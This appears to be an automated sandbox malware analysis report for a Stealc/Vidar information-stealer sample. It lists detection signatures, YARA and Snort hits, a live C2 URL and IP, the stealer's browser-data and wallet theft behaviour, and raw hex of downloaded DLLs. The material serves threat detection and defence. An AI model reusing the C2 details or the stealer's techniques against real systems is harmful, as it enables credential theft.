Edit tour

Windows Analysis Report
FFAk2gixx5.exe

Overview

General Information

Sample name:	FFAk2gixx5.exe renamed because original name is a hash value
Original sample name:	14cd6d9cbad80b0e4076212bf7ad937f.exe
Analysis ID:	1436574
MD5:	14cd6d9cbad80b0e4076212bf7ad937f
SHA1:	6f553fad2fd973d52dec55582490eb8c3a35b6e1
SHA256:	1738d5ec9cf4a62d3bebdb8690d208dc4e9bb957ba427233920a2195b04bb52e
Tags:	exeStealc
Infos:

Detection

Mars Stealer, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected Mars stealer

Yara detected Stealc

Yara detected Vidar stealer

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Machine Learning detection for sample

Sample uses string decryption to hide its real strings

Searches for specific processes (likely to inject)

Tries to harvest and steal browser information (history, passwords, etc)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

Internet Provider seen in connection with other malware

PE file contains an invalid checksum

PE file contains sections with non-standard names

PE file does not import any functions

PE file overlay found

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

FFAk2gixx5.exe (PID: 6784 cmdline: "C:\Users\user\Desktop\FFAk2gixx5.exe" MD5: 14CD6D9CBAD80B0E4076212BF7AD937F)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: Vidar

{"C2 url": "http://okkolus.com/cf5cbdf706840b3f.php"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.3315854062.0000000002FC0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000000.00000002.3315854062.0000000002FC0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
00000000.00000002.3315657325.0000000002C37000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x1208:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000000.00000002.3315706201.0000000002C4C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.3314009365.0000000000400000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000000.00000002.3314009365.0000000000400000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
00000000.00000002.3315854062.0000000002FC0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000000.00000003.2531825122.0000000002FF0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000000.00000003.2531825122.0000000002FF0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
Process Memory Space: FFAk2gixx5.exe PID: 6784	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: FFAk2gixx5.exe PID: 6784	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 6 entries

Unpacked PEs

Source	Rule	Description	Author
0.2.FFAk2gixx5.exe.2fc0e67.2.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0.2.FFAk2gixx5.exe.2fc0e67.2.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
0.2.FFAk2gixx5.exe.400000.0.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0.2.FFAk2gixx5.exe.400000.0.raw.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
0.3.FFAk2gixx5.exe.2ff0000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0.3.FFAk2gixx5.exe.2ff0000.0.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
0.3.FFAk2gixx5.exe.2ff0000.0.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0.3.FFAk2gixx5.exe.2ff0000.0.raw.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
0.2.FFAk2gixx5.exe.400000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0.2.FFAk2gixx5.exe.400000.0.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
0.2.FFAk2gixx5.exe.2fc0e67.2.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0.2.FFAk2gixx5.exe.2fc0e67.2.raw.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
Click to see the 7 entries

Snort Signatures

ET TROJAN Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 - Source IP: 31.41.44.147 - Destination IP: 192.168.2.6

Timestamp:	05/06/24-02:52:39.695594
SID:	2051831
Source Port:	80
Destination Port:	49708
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Stealc Requesting browsers Config from C2 - Source IP: 192.168.2.6 - Destination IP: 31.41.44.147

Timestamp:	05/06/24-02:52:38.714464
SID:	2044244
Source Port:	49707
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Stealc Active C2 Responding with browsers Config M1 - Source IP: 31.41.44.147 - Destination IP: 192.168.2.6

Timestamp:	05/06/24-02:52:39.070096
SID:	2051828
Source Port:	80
Destination Port:	49707
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Stealc Requesting plugins Config from C2 - Source IP: 192.168.2.6 - Destination IP: 31.41.44.147

Timestamp:	05/06/24-02:52:39.336133
SID:	2044246
Source Port:	49708
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [SEKOIA.IO] Win32/Stealc C2 Check-in - Source IP: 192.168.2.6 - Destination IP: 31.41.44.147

Timestamp:	05/06/24-02:52:38.047891
SID:	2044243
Source Port:	49706
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://okkolus.com/cf5cbdf706840b3f.php	Avira URL Cloud: Label: malware
Source: http://okkolus.com/cf5cbdf706840b3f.php/M	Avira URL Cloud: Label: malware

Found malware configuration

Source: 00000000.00000003.2531825122.0000000002FF0000.00000004.00001000.00020000.00000000.sdmp

Malware Configuration Extractor: Vidar {"C2 url": "http://okkolus.com/cf5cbdf706840b3f.php"}

Multi AV Scanner detection for domain / URL

Source: okkolus.com	Virustotal: Detection: 10%	Perma Link
Source: http://okkolus.com	Virustotal: Detection: 10%	Perma Link
Source: http://okkolus.com/cf5cbdf706840b3f.php	Virustotal: Detection: 13%	Perma Link
Source: http://okkolus.com/dfaf16606234b71d/nss3.dlle	Virustotal: Detection: 5%	Perma Link

Multi AV Scanner detection for submitted file

Source: FFAk2gixx5.exe	ReversingLabs: Detection: 71%
Source: FFAk2gixx5.exe	Virustotal: Detection: 68%			Perma Link

Machine Learning detection for sample

Source: FFAk2gixx5.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 0.2.FFAk2gixx5.exe.400000.0.raw.unpack	String decryptor: CtIvEWInDoW
Source: 0.2.FFAk2gixx5.exe.400000.0.raw.unpack	String decryptor: AgEBOxw
Source: 0.2.FFAk2gixx5.exe.400000.0.raw.unpack	String decryptor: OsUse
Source: 0.2.FFAk2gixx5.exe.400000.0.raw.unpack	String decryptor: }@@@e$@@
Source: 0.2.FFAk2gixx5.exe.400000.0.raw.unpack	String decryptor: ijklmnopqrs
Source: 0.2.FFAk2gixx5.exe.400000.0.raw.unpack	String decryptor: L 45`vy`ty`tx`sp@@@@<@@@
Source: 0.2.FFAk2gixx5.exe.400000.0.raw.unpack	String decryptor: >22lmnopq((\]^_`abcdefghijklmnopqrs
Source: 0.2.FFAk2gixx5.exe.400000.0.raw.unpack	String decryptor: %s\%_
Source: 0.2.FFAk2gixx5.exe.400000.0.raw.unpack	String decryptor: %s\%]
Source: 0.2.FFAk2gixx5.exe.400000.0.raw.unpack	String decryptor: ijklmnopqrs
Source: 0.2.FFAk2gixx5.exe.400000.0.raw.unpack	String decryptor: [EGEKM^Ywxyztasc}567y9n/S
Source: 0.2.FFAk2gixx5.exe.400000.0.raw.unpack	String decryptor: jAss}ord
Source: 0.2.FFAk2gixx5.exe.400000.0.raw.unpack	String decryptor: '!#!/!#{\|}
Source: 0.2.FFAk2gixx5.exe.400000.0.raw.unpack	String decryptor: `o^UFF
Source: 0.2.FFAk2gixx5.exe.400000.0.raw.unpack	String decryptor: {K}ri*#
Source: 0.2.FFAk2gixx5.exe.400000.0.raw.unpack	String decryptor: advapi32.dll
Source: 0.2.FFAk2gixx5.exe.400000.0.raw.unpack	String decryptor: HeapFree
Source: 0.2.FFAk2gixx5.exe.400000.0.raw.unpack	String decryptor: GetLocaleInfoA
Source: 0.2.FFAk2gixx5.exe.400000.0.raw.unpack	String decryptor: ntProcessId
Source: 0.2.FFAk2gixx5.exe.400000.0.raw.unpack	String decryptor: wininet.dll
Source: 0.2.FFAk2gixx5.exe.400000.0.raw.unpack	String decryptor: shlwapi.dll
Source: 0.2.FFAk2gixx5.exe.400000.0.raw.unpack	String decryptor: shell32.dll
Source: 0.2.FFAk2gixx5.exe.400000.0.raw.unpack	String decryptor: .dll
Source: 0.2.FFAk2gixx5.exe.400000.0.raw.unpack	String decryptor: khrc7C9Pm
Source: 0.2.FFAk2gixx5.exe.400000.0.raw.unpack	String decryptor: column_text
Source: 0.2.FFAk2gixx5.exe.400000.0.raw.unpack	String decryptor: login:

Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_00409540 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_00409540
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_00406C10 GetProcessHeap,HeapAlloc,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_00406C10
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_004094A0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_004094A0
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_00415590 CryptBinaryToStringA,GetProcessHeap,HeapAlloc,CryptBinaryToStringA,	0_2_00415590
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_0040BF90 memset,lstrlen,CryptStringToBinaryA,memcpy,lstrcat,lstrcat,lstrcat,	0_2_0040BF90
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_02FC6E77 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_02FC6E77
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_02FD57F7 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_02FD57F7
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_02FC97A7 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_02FC97A7
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_02FC9707 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_02FC9707
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_02FCC1F7 memset,lstrlen,CryptStringToBinaryA,memcpy,lstrcat,lstrcat,lstrcat,	0_2_02FCC1F7

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\FFAk2gixx5.exe

Unpacked PE file: 0.2.FFAk2gixx5.exe.400000.0.unpack

Source: FFAk2gixx5.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\FFAk2gixx5.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: mozglue.pdbP source: mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: mozglue.pdb source: mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_0040B610 FindFirstFileA,StrCmpCA,StrCmpCA,GetSystemTimes,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_0040B610
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_0040DB60 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_0040DB60
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_0040D540 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0040D540
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_00412570 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00412570
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_0040D1C0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_0040D1C0
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_004015C0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_004015C0
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_004121F0 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_004121F0
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_00411650 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_00411650
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_00411B80 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00411B80
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_02FD27D7 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_02FD27D7
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_02FCD7A7 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_02FCD7A7
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_02FD18B7 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_02FD18B7
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_02FCB877 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_02FCB877
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_02FD2457 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_02FD2457
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_02FC1827 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_02FC1827
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_02FCD427 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_02FCD427
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_02FD1DE7 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_02FD1DE7
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_02FCDDC7 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_02FCDDC7

Source: C:\Users\user\Desktop\FFAk2gixx5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2044243 ET TROJAN [SEKOIA.IO] Win32/Stealc C2 Check-in 192.168.2.6:49706 -> 31.41.44.147:80
Source: Traffic	Snort IDS: 2044244 ET TROJAN Win32/Stealc Requesting browsers Config from C2 192.168.2.6:49707 -> 31.41.44.147:80
Source: Traffic	Snort IDS: 2051828 ET TROJAN Win32/Stealc Active C2 Responding with browsers Config M1 31.41.44.147:80 -> 192.168.2.6:49707
Source: Traffic	Snort IDS: 2044246 ET TROJAN Win32/Stealc Requesting plugins Config from C2 192.168.2.6:49708 -> 31.41.44.147:80
Source: Traffic	Snort IDS: 2051831 ET TROJAN Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 31.41.44.147:80 -> 192.168.2.6:49708

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: http://okkolus.com/cf5cbdf706840b3f.php

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 06 May 2024 00:52:44 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 18:30:30 GMTETag: "10e436-5e7f2463c1d80"Accept-Ranges: bytesContent-Length: 1106998Connection: closeContent-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 06 May 2024 00:52:51 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 14:49:08 GMTETag: "a7550-5e7ef2e90e100"Accept-Ranges: bytesContent-Length: 685392Connection: closeContent-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 